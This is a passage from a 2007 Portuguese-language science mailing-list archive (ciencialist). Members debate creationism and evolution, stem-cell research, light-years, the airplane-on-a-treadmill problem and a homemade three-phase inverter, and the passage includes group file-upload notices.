> cerca de 15 anos antes, dedicado ao Papa, seu amigo e padrinho, maior
> incentivador de seus inovadores estudos astronômicos. As leis, a moral, o
> direito e a justiça são preconceitos testados e estabelecidos ao longo
> desses milênios, sempre em confronto com aqueles cujo os desejos imediatos
> conflitam com esses conceitos consolidados.
>
> Observar que os que denunciam preconceitos retrógrados são aqueles que
> estão
> bem, são articulados e têm poder. O cidadão que não tem essas vantagens
> político-social-econômicas preza muito esses preconceitos que lhe garante
> um
> mínimo de participação, justiça, direito e cidadania. São aos mais frágeis
> que a Justiça protege. No caso da célula-tronco não é diferente. Com a
> desculpa de utilizar embriões congelados que serão descartados no lixo(?!)
> desejam a liberação geral para as pesquisas com células-tronco
> embrionárias.
> Quando já se têm firmado cerca de 81 procedimentos terapêuticos efetivos e
> seguros, realizados com células-tronco obtidas do próprio paciente ou de
> cordões umbilicais.
>
> Já repararam como os transgressores, corruptores, agressores e criminosos
> não têm preconceitos, nem dão a mínima às leis estabelecidas! Quando os
> donos do poder não pesam suas decisões é toda a humanidade que paga.
>
> []s
>
> José Renato
> .....................................
>
> From: "Silvio Cordeiro" <scordeiroes@superig.com.br>
> To: <ciencialist@yahoogrupos.com.br>; <Acropolis_@yahoogrupos.com.br>
> Cc: <pedraderoseta@yahoogrupos.com.br>
> Sent: Saturday, June 02, 2007 11:41 AM
> Subject: [Spam] [ciencialist] Ciência & Religião.
>
>
> Belita Koiller: Convicções religiosas ameaçam a continuidade de
> pesquisas científicas extremamente relevantes
>
> Ela saudou os novos acadêmicos no ato de posse. E disse, entre
> outras:
> "Seria enorme desperdício para a humanidade abrir mão de metade dos
> talentos
> potenciais para a ciência, caso o trabalho científico continuasse sendo
> visto como uma atividade predominantemente masculina"
>
> Leia a integra do discurso da acadêmica Belita Koiller:
>
> "Cabe-me esta noite a grande honra de saudar os novos acadêmicos. Em
> nome da ABC gostaria de expressar as nossas boas vindas aos que hoje tomam
> posse, e agradecer a todos pelo enriquecimento e prestígio que nos trazem
> com sua competência científica e experiência de vida.

(apaguei o restante)



SUBJECT: P/ Alvaro - Re: Palestra sobre criacionismo na UTFPR, Curitiba
FROM: "Eduardo Torres" <dudutorres@yahoo.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/06/2007 12:51

O texto e' interessante, mas meu xara' Lutz incorre num erro comum
de querer cinscuncrever a evolucao como um fenomeno exclusivamente
biologico, assim nao aplicavel a coisas nao vivas, e portanto a
origem da vida a partir de coisas nao vivas nao poderia ser
explicada pela evolucao.

Se Darwin tivesse apenas descoberto o mecanismo q explica a origem
das especies vivas, ja' teria seu lugar no panteao da Ciencia, mas
ele fez muito mais: descobriu como o complexo surge do simples sem a
necessidade de projeto ou inteligencia. Isso o coloca no panteao do
intelecto humano como um todo, de qq area do conhecimento.

Talvez tenha sido a ideia mais revolucionaria ja' tida por um ser
humano.

Os processos de desenvolvimento de uma lingua ou do crescimento
urbano nao planejado de uma cidade seguem essencialmente os mesmos
mecanismos basicos evolutivos dos seres vivos: Copiamento de
unidades auto-replicantes com certo nivel de falhas no processo,
seguido de selecao pelo meio ambiente das unidades mais eficientes
no processo de copiamento. Isso e' valido pra qq coisa, isso
aconteceu por milhoes de anos antes do surgimento do RNA, do DNA e
das celulas q hoje dominam a vida terrestre. Isso ja' acontecia
antes de existirem genes.

Para o processo evolutivo se iniciar e manter so' se precisa de seus
componentes basicos: Unidades auto-replicantes, um certo nivel de
falhas de replicacao e selecao natural das unidades a
cada 'geracao'.

A evolucao comeca na Terra qdo surgem as primeiras moleculas auto-
replicantes, formadas depois de zilhoes de reacoes quimicas ao acaso
por centenas de milhoes de anos na Terra primitiva. Dificil, raro e
improvavel? Sim, mas, uma vez surgidas, o processo deslancha
inexoravelmente. Muitas outras centenas de milhoes de anos de
evolucao devem ter transcorrido antes da primeira celula com DNA.

So' podemos especular como eram essas primeiras moleculas auto-
replicantes, mas certamente deviam ser bem diferentes das q formam a
vida atual.

Nao ha' fronteira entre o vivo e o nao vivo. A ideia d q a vida tem
alguma coisa essencialmente diferente da materia nao viva, como
parece pensar Lutz, e' uma ilusao. Vida e' apenas materia e energia
em processo evolutivo. A unica fronteira possivel de se tracar e'
entre sistemas formados por unidades auto-replicantes e sistemas
formados por unidades nao auto-replicantes. Aos primeiros chamamos
de vivos e aos ultimos de nao vivos.

A evolucao explica suficientemente nao so' o desenvolvimento da vida
na Terra como a origem da vida na Terra e em qq lugar do Universo.

Abs,
Eduardo Torres


--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...>
escreveu
>
> Olá Alvaro
>
> Fantástico texto, equilibrado, relevante, preciso e muito, muito
> instrutivo..:-) E concordo com sua sugestão final, sobre uma
palestra
> (ou talvez outro texto seu já ajudaria bastante) para esclarecer a
> confusão de terminologia e dos conceitos citados.
>
> Mas penso que isso é exatamente o que tentam evitar os
criacionistas,
> para jogar dentro do mesmo engano a evolução, bem evidenciada até
para
> os parâmetros mais rigorosos, e fenômenos mais difíceis de
determinar,
> como a abiogenese. Não penso que seja "por engano" ou descuido que
> essa confusão é feita, e não penso que o palestrante não soubesse
(ou
> tivesse esquecido) dessas diferenças, penso que é tudo muito bem
> calculado, estudado, como as equações complexas, que ninguém
> entenderia, e que embora não tenham nada a ver com o assunto, dão a
> impressão, pelo peso que carregam, que o resto dos argumentos é
também
> complexo e científico.
>
> É uma estratégia comum, apresente dados e alegações complexas o
> bastante para que o interlocutor não as compreenda, e isso vai
inibir
> as refutações de argumentos mais simplórios, que ele poderia fazer
> contra suas posições menos sólidas. Algo como "se você não
compreende
> as equações que eu apresentei, como pretende recusar meus
argumentos
> sobre isso ou aquilo?".
>
> Seria importante desfazer esses truques e enganos em relação a esse
> tipo de discurso criacionista.
>
> Um abraço e parabéns mais uma vez pelo excelente trabalho com o
texto.
>
> Homero
>
>
>
> --- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(L\)"
> <alvaro@> escreveu
> >
> > Minhas observações (mais extensas do que o bom senso
recomendaria)
> sobre a
> > palestra do Eduardo Lütz estão disponíveis em:
> >
> http://alvaroaugusto.blogspot.com/2007/06/sobre-palestra-de-
eduardo-ltz-cincia-f.html
> >
> > [ ]s
> >
> > Alvaro Augusto
> >
> >
> > ----- Original Message -----
> > From: "André L F S Bacci" <andrebacci.listas@>
> > To: <ciencialist@yahoogrupos.com.br>
> > Sent: Monday, May 28, 2007 5:08 PM
> > Subject: Re: [ciencialist] Palestra sobre criacionismo na UTFPR,
> Curitiba
> >
> >
> > > Em 26/05/07, Alvaro Augusto (L) <alvaro@> escreveu:
> > > > Preciso de ajuda para rebater os argumentos dele, caso haja
> espaço para
> > > > perguntas. Em tempo, a palestra é promovida pelo Sindicato
dos
> > > > Professores
> > > > da UTFPR, não pela reitoria ou por algum departamento, e até
o
> momento
> > > > não
> > > > sei se conta com o apoio institucional. Espero que não.
> >
> > Mas se seu resumo é correto, ele está "só reclamando" e não
colocando
> > nada no lugar. Mas na pagina dele, não tal ligação sobre a
teoria da
> > evolução ser religião, mas mais a questão a reclamação
reducionista.
> >
> > Bem, ao útil. Hun... O pessoal do The Panda's Thumb tem enorme
> > experiência em debates do tipo, tanto ao vivo como na net,
> > principalmente contra o pessoal mais falido Design Inteligente.
Vale a
> > pena investir um bom tempo nos posts de lá, e de maneira
instrutiva,
> > nos comentários.
> >
> > E se o rapaz ai realmente for pela linha de "evolução é
religião",
> > recomendo fortemente a leitura dessa resposta em particular.
> >
>
http://www.pandasthumb.org/archives/2007/05/is_creationism.html#comme
nt-179277
> >
> > Na mesma linha, um antigo comentarista chamado Lenny Frank (ou
Flank)
> > tinha também uma página no geocites com muito material a
respeito. Não
> > consigo localizar atrás do proxy que estou (blogs e geocities, no
> > way), mas não deve ser impossível de encontrar.
> >
> > Por último, mas de nenhuma maneira menos importante, os
belíssimos
> > materiais do talkreason.org, em especial o imprecindível Index to
> > Creationist Claims
> >
> > http://www.talkorigins.org/indexcc/
> >
> > Em especial
> > http://www.talkorigins.org/indexcc/list.html#CA100-CA499
> >
> > No detalhe do especial
> > http://www.talkorigins.org/indexcc/CA/CA220.html
> > http://www.talkorigins.org/indexcc/CA/CA612.html
> > e
> > http://www.talkorigins.org/indexcc/CA/CA610.html
> >
> > Recomendo levar impresso, e se possível, traduzir.
> >
> > André
> >
>




SUBJECT: legal
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br, pedraderoseta@yahoogrupos.com.br
DATE: 07/06/2007 22:19

não entendo muito, mas gostei.
se estiver correto, outros gostarão.
treco legal e difícil de ser produzido.

Check out the the inside of that 'hovel', of which there are many millions,
that makes up the mansion you occupy right now...


http://www.youtube.com/watch?v=kxSLw1LMvgk


abr/m. sp 07/jun07




SUBJECT: frases do feriado
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: pedraderoseta@yahoogrupos.com.br, ciencialist@yahoogrupos.com.br
DATE: 07/06/2007 22:55

Conjunto de 2 frases, p/pensar, com a devida licença do Sílvio...:)

''Eu vejo longe porque estou de pé sobre os ombros de gigantes!''
Sir Isaac Newton

''Não consigo enxergar longe porque gigantes estão sobre meus ombros!''
( autor desconhecido )

abr/Muliro SP 07/jun07




SUBJECT: P/ Alvaro - Re: Palestra sobre criacionismo na UTFPR, Curitiba
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/06/2007 06:32

De acordo. O que muitos não vêem é que "evolução" é bem mais do que
meramente a modificação de espécies vivas. E, como toda idéia
genial, se você pensar um pouco: "puxa, como é simples!". :)

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, "Eduardo Torres"
<dudutorres@...> escreveu
>
> O texto e' interessante, mas meu xara' Lutz incorre num erro comum
> de querer cinscuncrever a evolucao como um fenomeno exclusivamente
> biologico, assim nao aplicavel a coisas nao vivas, e portanto a
> origem da vida a partir de coisas nao vivas nao poderia ser
> explicada pela evolucao.
>
> Se Darwin tivesse apenas descoberto o mecanismo q explica a origem
> das especies vivas, ja' teria seu lugar no panteao da Ciencia, mas
> ele fez muito mais: descobriu como o complexo surge do simples sem
a
> necessidade de projeto ou inteligencia. Isso o coloca no panteao
do
> intelecto humano como um todo, de qq area do conhecimento.
>
> Talvez tenha sido a ideia mais revolucionaria ja' tida por um ser
> humano.
>
> Os processos de desenvolvimento de uma lingua ou do crescimento
> urbano nao planejado de uma cidade seguem essencialmente os mesmos
> mecanismos basicos evolutivos dos seres vivos: Copiamento de
> unidades auto-replicantes com certo nivel de falhas no processo,
> seguido de selecao pelo meio ambiente das unidades mais eficientes
> no processo de copiamento. Isso e' valido pra qq coisa, isso
> aconteceu por milhoes de anos antes do surgimento do RNA, do DNA e
> das celulas q hoje dominam a vida terrestre. Isso ja' acontecia
> antes de existirem genes.
>
> Para o processo evolutivo se iniciar e manter so' se precisa de
seus
> componentes basicos: Unidades auto-replicantes, um certo nivel de
> falhas de replicacao e selecao natural das unidades a
> cada 'geracao'.
>
> A evolucao comeca na Terra qdo surgem as primeiras moleculas auto-
> replicantes, formadas depois de zilhoes de reacoes quimicas ao
acaso
> por centenas de milhoes de anos na Terra primitiva. Dificil, raro
e
> improvavel? Sim, mas, uma vez surgidas, o processo deslancha
> inexoravelmente. Muitas outras centenas de milhoes de anos de
> evolucao devem ter transcorrido antes da primeira celula com DNA.
>
> So' podemos especular como eram essas primeiras moleculas auto-
> replicantes, mas certamente deviam ser bem diferentes das q formam
a
> vida atual.
>
> Nao ha' fronteira entre o vivo e o nao vivo. A ideia d q a vida
tem
> alguma coisa essencialmente diferente da materia nao viva, como
> parece pensar Lutz, e' uma ilusao. Vida e' apenas materia e
energia
> em processo evolutivo. A unica fronteira possivel de se tracar e'
> entre sistemas formados por unidades auto-replicantes e sistemas
> formados por unidades nao auto-replicantes. Aos primeiros chamamos
> de vivos e aos ultimos de nao vivos.
>
> A evolucao explica suficientemente nao so' o desenvolvimento da
vida
> na Terra como a origem da vida na Terra e em qq lugar do Universo.
>
> Abs,
> Eduardo Torres
>
>
> --- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@>
> escreveu
> >
> > Olá Alvaro
> >
> > Fantástico texto, equilibrado, relevante, preciso e muito, muito
> > instrutivo..:-) E concordo com sua sugestão final, sobre uma
> palestra
> > (ou talvez outro texto seu já ajudaria bastante) para esclarecer
a
> > confusão de terminologia e dos conceitos citados.
> >
> > Mas penso que isso é exatamente o que tentam evitar os
> criacionistas,
> > para jogar dentro do mesmo engano a evolução, bem evidenciada
até
> para
> > os parâmetros mais rigorosos, e fenômenos mais difíceis de
> determinar,
> > como a abiogenese. Não penso que seja "por engano" ou descuido
que
> > essa confusão é feita, e não penso que o palestrante não
soubesse
> (ou
> > tivesse esquecido) dessas diferenças, penso que é tudo muito bem
> > calculado, estudado, como as equações complexas, que ninguém
> > entenderia, e que embora não tenham nada a ver com o assunto,
dão a
> > impressão, pelo peso que carregam, que o resto dos argumentos é
> também
> > complexo e científico.
> >
> > É uma estratégia comum, apresente dados e alegações complexas o
> > bastante para que o interlocutor não as compreenda, e isso vai
> inibir
> > as refutações de argumentos mais simplórios, que ele poderia
fazer
> > contra suas posições menos sólidas. Algo como "se você não
> compreende
> > as equações que eu apresentei, como pretende recusar meus
> argumentos
> > sobre isso ou aquilo?".
> >
> > Seria importante desfazer esses truques e enganos em relação a
esse
> > tipo de discurso criacionista.
> >
> > Um abraço e parabéns mais uma vez pelo excelente trabalho com o
> texto.
> >
> > Homero
> >
> >
> >
> > --- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(L\)"
> > <alvaro@> escreveu
> > >
> > > Minhas observações (mais extensas do que o bom senso
> recomendaria)
> > sobre a
> > > palestra do Eduardo Lütz estão disponíveis em:
> > >
> > http://alvaroaugusto.blogspot.com/2007/06/sobre-palestra-de-
> eduardo-ltz-cincia-f.html
> > >
> > > [ ]s
> > >
> > > Alvaro Augusto
> > >
> > >
> > > ----- Original Message -----
> > > From: "André L F S Bacci" <andrebacci.listas@>
> > > To: <ciencialist@yahoogrupos.com.br>
> > > Sent: Monday, May 28, 2007 5:08 PM
> > > Subject: Re: [ciencialist] Palestra sobre criacionismo na
UTFPR,
> > Curitiba
> > >
> > >
> > > > Em 26/05/07, Alvaro Augusto (L) <alvaro@> escreveu:
> > > > > Preciso de ajuda para rebater os argumentos dele, caso haja
> > espaço para
> > > > > perguntas. Em tempo, a palestra é promovida pelo Sindicato
> dos
> > > > > Professores
> > > > > da UTFPR, não pela reitoria ou por algum departamento, e
até
> o
> > momento
> > > > > não
> > > > > sei se conta com o apoio institucional. Espero que não.
> > >
> > > Mas se seu resumo é correto, ele está "só reclamando" e não
> colocando
> > > nada no lugar. Mas na pagina dele, não tal ligação sobre a
> teoria da
> > > evolução ser religião, mas mais a questão a reclamação
> reducionista.
> > >
> > > Bem, ao útil. Hun... O pessoal do The Panda's Thumb tem enorme
> > > experiência em debates do tipo, tanto ao vivo como na net,
> > > principalmente contra o pessoal mais falido Design
Inteligente.
> Vale a
> > > pena investir um bom tempo nos posts de lá, e de maneira
> instrutiva,
> > > nos comentários.
> > >
> > > E se o rapaz ai realmente for pela linha de "evolução é
> religião",
> > > recomendo fortemente a leitura dessa resposta em particular.
> > >
> >
>
http://www.pandasthumb.org/archives/2007/05/is_creationism.html#comme
> nt-179277
> > >
> > > Na mesma linha, um antigo comentarista chamado Lenny Frank (ou
> Flank)
> > > tinha também uma página no geocites com muito material a
> respeito. Não
> > > consigo localizar atrás do proxy que estou (blogs e geocities,
no
> > > way), mas não deve ser impossível de encontrar.
> > >
> > > Por último, mas de nenhuma maneira menos importante, os
> belíssimos
> > > materiais do talkreason.org, em especial o imprecindível Index
to
> > > Creationist Claims
> > >
> > > http://www.talkorigins.org/indexcc/
> > >
> > > Em especial
> > > http://www.talkorigins.org/indexcc/list.html#CA100-CA499
> > >
> > > No detalhe do especial
> > > http://www.talkorigins.org/indexcc/CA/CA220.html
> > > http://www.talkorigins.org/indexcc/CA/CA612.html
> > > e
> > > http://www.talkorigins.org/indexcc/CA/CA610.html
> > >
> > > Recomendo levar impresso, e se possível, traduzir.
> > >
> > > André
> > >
> >
>




SUBJECT: Re: [ciencialist] Re: Espaço-de-tempo?
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/06/2007 12:48

Olá Takata!

--- Por favor, me corrija se estiver errado e onde
estiver errado. Assumindo que a distancia SP-RJ é 600
km. Assumindo a velocidade do meu carro (ferrari)é de
100 km/h. Posso dizer que a distancia SP-RJ é 6
horas-ferrari, é isto?

Takata> Sim, 6 horas-carro-do-ferrari (assumindo-se
velocidade constante).

--- Então, novamente, por favor, me corrija se estiver
errado e onde estiver errado. E também me ajude com a
resposta:

1) Ano-luz é uma escala de distancia percorrida por um
carro de velocidade constante chamado carro-luz, assim
como hora-ferrari é uma escala de distancia percorrida
por um carro de velocidade constante chamado
carro-ferrari.

2) A velocidade constante do carro-ferrari depende de
uma aceleração constante, certo? Esta aceleração vem
da combustão da gasolina. E a constante do carro-luz,
depende de que aceleração? E esta aceleração, depende
de que combustivel?

3) Pra medir a distancia em centimetros entre dois
pontos numa folha de papel posso usar uma régua. Se
quiser medir estes mesmos dois pontos no papel em
centimetros-luz, como seria o processo de medição?

Takata >>> Qto à relação q *vc* está investigando não
posso ter certeza, não faço muita idéia do q passa
pela sua cabeça.

--- Creio que conforme vamos conversando vai ficando
mais claro, não só pra vc, mas pra mim mesmo. A
curiosidade que me pegou pelo pé foi esta coisa de
medir distancia espacial com velocidade, e o fato de
velocidade incluir tempo. Lembra que uma das perguntas
que investigo é "medir requer tempo? porque?". Me
parece que esta questão do ano-luz tem algo a diser
sobre este assunto. Agradeço por me ajudar na
investigação. Afinal, o perito aqui é vc, e sem o
Takata o ferrari é apenas um pedreiro que não sabe o
que é tijolo. Rssrsrsrsrs... Mas, Takata, agradeço
sinceramente sua colaboração, é muito valiosa. Tá
vendo! Muito melhor investigarmos juntos do que
ficarmos jogando xadrex.


Sinceramente
Ferrari






Senão for, o que é? Entende
> a
> > relação que estou investigando?
>
>
> Qto à relação q *vc* está investigando não posso ter
> certeza, não faço
> muita idéia do q passa pela sua cabeça.
>
> []s,
>
> Roberto Takata
>
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SUBJECT: Re: [ciencialist] Re: A resposta: E= 2,75536 X10^(-11) Joules
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/06/2007 13:07

Olá Takata!

Takata >>> Só acho q vc não deveria enrolar para
esperar q seu amigo lhe passe a resolução. Se vc
soubesse, logicamente teria enviado já a resolução - e
teria enviado bem antes na verdade.

--- É uma teoria interessante. Pode prova-la?

Takata >>> Se fosse impossível ninguém trocava pneu.

--- Takata, vc disse que conseguia dividir o carro sem
separar as partes. É isto que é impossivel.

--- Vou fazer um apontamento aqui. Quando vc diz "o
carro" vc, e apenas vc, está determindo o carro como
"o todo", o "um" ou seja, "o UNIverso". Ora, se o
carro é o UNIverso, é indivizivel (em si). Entende? Em
matemática, UM divido por UM é igual a UM, não é? Se
vc tira a roda do carro, o carro não é mais o carro.
Agora, se vc desmontar o carro peça por peça e disser
que a soma das peças é o carro, que é o que a fisica
faz, vai ter que explicar de que outro UNIverso veio
vazio que está separando as partes, uma vez que o
carro era o UNIverso inteiro. Eis porque os fisicos
postulas universos paralelos, anti-matéria, e outros
fantasmas teóricos... tudo tentativa de tapar o buraco
que sempre fica entre as partes... Pô! Mas afinal o
UNIverso é UM ou o que? Claro que é um! Mas qual o
cientista que não vai arranjar um tapa-buracos pra não
perder a teoria. Contudo, se não quisesse mesmo perder
a teoria, muito mais simples seria começar pelo fato
de que a matéria é uma só e indivizivel.

--- Mas atenção, se não levar em consideração que
quando digo matéria estou me referindo ao território e
não ao mapa, nunca compreenderá o que estou dizendo
nem porque não consegue dividir o carro.



sinceramente
ferrari







>
> []s,
>
> Roberto Takata
>
>


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SUBJECT: Re: [ciencialist] Re: A resposta: E= 2,75536 X10^(-11) Joules
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/06/2007 13:17

Olá Luiz!


Luiz >>> Ferrari, a matéria é descontínua.

--- Numa visão fisica, sim, concordo.

Luiz >>> Há muito mais vácuo...

--- Como assim há vácuo? Vácuo existe? É feito de que?

Luiz >>> onde "vc" começa e onde termina?

--- Eu sei. Mas o que importa pra vc é: vc sabe?

Luiz >>> Se pudéssemos retirar todo os espaços vazios
(vácuo) do seu corpo eu, seriamente, não saberia dizer
o que restaria.

--- Porque não pode?

Luiz >>> O que vc acha que existe entre as moléculas
de ar?

--- Boa pergunta? Sendo vc o professor, poderia me
dizer?

Luiz >>> Imagine um balão de aniversário cheio de ar
--- coloque ligeiramente esse balão dentro de um forno
e retire quando o volume dobrar. Vc separou as partes
materiais sem 'separar' nada!

--- Separei o que, o balão? Ele aumentou, mas não
deixou de ser uma coisa só, um balão indivizivel.

Luiz >>> O balãozão continua inteiro e tem suas partes
separadas!

--- Que partes?

Luiz >>> E, ninguém aumentou o vazio ... vazio
continua vazio!

--- Se é que algum dia foi!




sinceramente
ferrari

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SUBJECT: Re: [ciencialist] Novo arquivo carregado em ciencialist
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 08/06/2007 16:12

O arquivo ou diretório solicitado não foi encontrado no servidor.

silvio.

----- Original Message -----
From: ciencialist@yahoogrupos.com.br
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, June 06, 2007 3:26 AM
Subject: [ciencialist] Novo arquivo carregado em ciencialist



Olá,

Esta mensagem é uma notificação para informá-lo que um novo arquivo foi adicionado no grupo ciencialist.

Arquivo : /Contribuições cristãs ao racismo e a outras alofobias.doc
Carregado por : manuelbulcao <manuelbulcao@uol.com.br>
Descrição : Cristianismo, darwinismo, marxismo...

Você pode acessar o arquivo pela URL:

http://br.groups.yahoo.com/group/ciencialist/files/Contribui%80%A0%A6%E7%F5es%20crist%80%A0%A6%E3s%20ao%20racismo%20e%20a%20outras%20alofobias.doc

Para saber mais sobre compartilhamento de arquivos no grupo, leia:

http://help.yahoo.com/help/br/groups/files

Atenciosamente,

manuelbulcao <manuelbulcao@uol.com.br>







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Checked by AVG Free Edition.
Version: 7.5.472 / Virus Database: 269.8.9/832 - Release Date: 4/6/2007 18:43


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: BBC NEWS | Science/Nature | Laser vision fuels energy futureAddress:h
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: FreeEnergy-BR@yahoogrupos.com.br, pedraderoseta@yahoogrupos.com.br, ciencialist@yahoogrupos.com.br
DATE: 08/06/2007 16:28

( enquanto a geração por gravidade não vem...:)


>To: free_energy@yahoogroups.com
>Subject: [free_energy] BBC NEWS | Science/Nature | Laser vision fuels
>energy futureAddress:h
>Date: Thu, 7 Jun 2007 21:58:05 -0400
>
>BBC NEWS | Science/Nature | Laser vision fuels energy future
>Address:http://news.bbc.co.uk/2/hi/science/nature/6720449.stm
>
>
>
>To drop of the list, send email to:
>free_energy-unsubscribe@yahoogroups.com
>Yahoo! Groups Links
>
>
>




SUBJECT: Novo arquivo carregado em ciencialist
FROM: ciencialist@yahoogrupos.com.br
TO: ciencialist@yahoogrupos.com.br
DATE: 08/06/2007 16:51


Olá,

Esta mensagem é uma notificação para informá-lo que um novo arquivo foi adicionado no grupo ciencialist.

Arquivo : /inversor trifasico1p1.png
Carregado por : tipoalgo <tipoalgo@gmail.com>
Descrição : Alimentar um motor trifásico com CC

Você pode acessar o arquivo pela URL:

http://br.groups.yahoo.com/group/ciencialist/files/inversor%20trifasico1p1.png

Para saber mais sobre compartilhamento de arquivos no grupo, leia:

http://help.yahoo.com/help/br/groups/files

Atenciosamente,

tipoalgo <tipoalgo@gmail.com>






SUBJECT: Novo arquivo carregado em ciencialist
FROM: ciencialist@yahoogrupos.com.br
TO: ciencialist@yahoogrupos.com.br
DATE: 08/06/2007 16:53


Olá,

Esta mensagem é uma notificação para informá-lo que um novo arquivo foi adicionado no grupo ciencialist.

Arquivo : /inversor trifasico1p2.png
Carregado por : tipoalgo <tipoalgo@gmail.com>
Descrição : Inversor Tifásico Mínimo

Você pode acessar o arquivo pela URL:

http://br.groups.yahoo.com/group/ciencialist/files/inversor%20trifasico1p2.png

Para saber mais sobre compartilhamento de arquivos no grupo, leia:

http://help.yahoo.com/help/br/groups/files

Atenciosamente,

tipoalgo <tipoalgo@gmail.com>






SUBJECT: Inversor trifásico mínimo
FROM: "Tipoalgo" <tipoalgo@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 08/06/2007 16:55

Olá a todos!

Hoje pude testar duas versões do inversor trifásico mínimo que já
havia desenhado.

Vou fazer o upload para a área de arquivos do grupo, pois as versões
tiveram avanços.

A versão 1.1 implementa o conceito de se alimentar as 3 bobinas
simultaneamente (acrescentando-se 6 diodos sobre a configuração
anterior). Nos testes práticos verifiquei um aquecimento nos MOSFETs
que se ligam ao negativo, principalmente quando a tensão de
alimentação está caindo (devido a perda de carga da bateria). Corrigi
no desenho as tensões dos capacitores do dobrador de tensão: estou
usando capacitores de 16V e não de 25V (tenho que avaliar melhor isto
para ver se não tem problema).

A versão 1.2 também alimenta as 3 bobinas simultaneamente, reduz a
quantidade de diodos e corrige a polarização nos MOFETs que se ligam
ao negativo (evitando o aquecimento).

A corrente AC por fase, com a alimentação das 3 bobinas
simultaneamente e com o aumento da bitola do fio de alimentação,
passou dos 18A para 30A. Isto representa um aumento significativo na
potência total.

Tenho que melhorar o sensor de velocidade, pois percebi que ao cair a
tensão de alimentação a freqüência aumenta, gerando uma leitura
errônea. Estou pensando em usar um zener para estabilizar a tensão de
alimentação do sensor hall.

Ainda que a leitura da velocidade não fosse precisa, pude perceber que
o chaveamento na versão 1.2 ocorre em melhores condições que nas
versões anteriores. Mesmo com a queda da tensão de alimentação os
MOSFETs não aquecem.

Próximas ações:
1 – implementar o conceito de PWM para evitar a perda fácil de
sincronismo ao se variar a carga;
2 – Usar as portas lógicas ociosas do 4093.

Abraços
Tipoalgo




SUBJECT: Re: [ciencialist] frases do feriado
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 08/06/2007 18:28

"Se enxerguei mais longe do que meus colegas, é porque eles eram anões!"
(Murray Gell-Mann)

[ ]s

Alvaro Augusto


----- Original Message -----
From: "murilo filo" <avalanchedrive@hotmail.com>
To: <pedraderoseta@yahoogrupos.com.br>; <ciencialist@yahoogrupos.com.br>
Sent: Thursday, June 07, 2007 10:55 PM
Subject: [ciencialist] frases do feriado


> Conjunto de 2 frases, p/pensar, com a devida licença do Sílvio...:)
>
> ''Eu vejo longe porque estou de pé sobre os ombros de gigantes!''
> Sir Isaac Newton
>
> ''Não consigo enxergar longe porque gigantes estão sobre meus ombros!''
> ( autor desconhecido )
>
> abr/Muliro SP 07/jun07
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SUBJECT: LHC vai demorar.
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <redeliberal@yahoogrupos.com.br>, <ciencialist@yahoogrupos.com.br>, <Acropolis_@yahoogrupos.com.br>
DATE: 08/06/2007 18:44

Física: Problemas adiam inauguração do Grande Colisor de Hádrons

O Centro Europeu de Física Nuclear, o Cern, confirmou o adiamento da inauguração do LHC (Grande Colisor de Hádrons), o maior acelerador de partículas do mundo, que deveria ser inaugurado em novembro deste ano

Segundo o jornal "Le Monde", o LHC só deverá entrar em operação em meados de 2008, devido a uma série de problemas técnicos.
(Folha de SP, 6/6)



[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RES: [ciencialist] P/ Renato - Re: Balanço do avião
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 08/06/2007 18:48



-----Mensagem original-----
De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de José Renato
Enviada em: quarta-feira, 6 de junho de 2007 00:22
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] P/ Renato - Re: Balanço do avião

> Olá, Ricardo!

Oi José,

> JR1 - Parece-me que o que está emperrando é o monopólio do referencial
> único: o chão. Vamos detalhar. Veja *o que de fato ocorre* e escolha o
> referencial adequado para cada análise que se faz necessária à solução do
> problema. As duas principais interrelações são: avião e a esteira; avião e
> o ar.

Bem, vc agora afirma que realmente está usando 2 referenciais para este
problema.

Agora, mais uma olhada em um trecho do enunciado do problema:

"(...) O avião se move em uma direção, e a esteira na direção oposta. A
esteira tem um sistema de controle que acompanha a velocidade do avião e faz
com que a esteira tenha exatamente a mesma velocidade dele, na direção
oposta. A pergunta é: o avião vai conseguir decolar?"

Percebe que não faz sentido a sua utilização de 2 referenciais para este
problema? O enunciado apresentado acima deixa claro, quando falamos de
movimentos em direções opostas e mesma velocidade, que estamos falando de um
mesmo referencial (que não precisa ser o chão, apesar de ser o mais óbvio).

Se vc não concorda com esta simples observação, não há razão para
prosseguirmos, porque estamos falando línguas diferentes, e nunca chegaremos
a nenhum lugar.

Na realidade, o único ponto que precisava ser esclarecido nesta discussão
era este.

Mas quero deixar registrado que acho sua abordagem conceitualmente errada,
não por ser complexa, ou porque exija um grande raciocínio para a
compreensão (como vc parece querer deixar parecer). Apenas errada. E o erro
ocorre, a meu ver, em um conceito bastante simples: a escolha do
referencial.

Um abraço,

Ricardo




SUBJECT: Res: [ciencialist] legal
FROM: "Eurico Ferreira de Souza Jr." <caodejah@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
CC: acropolis <Acropolis_@yahoogrupos.com.br>
DATE: 08/06/2007 19:19

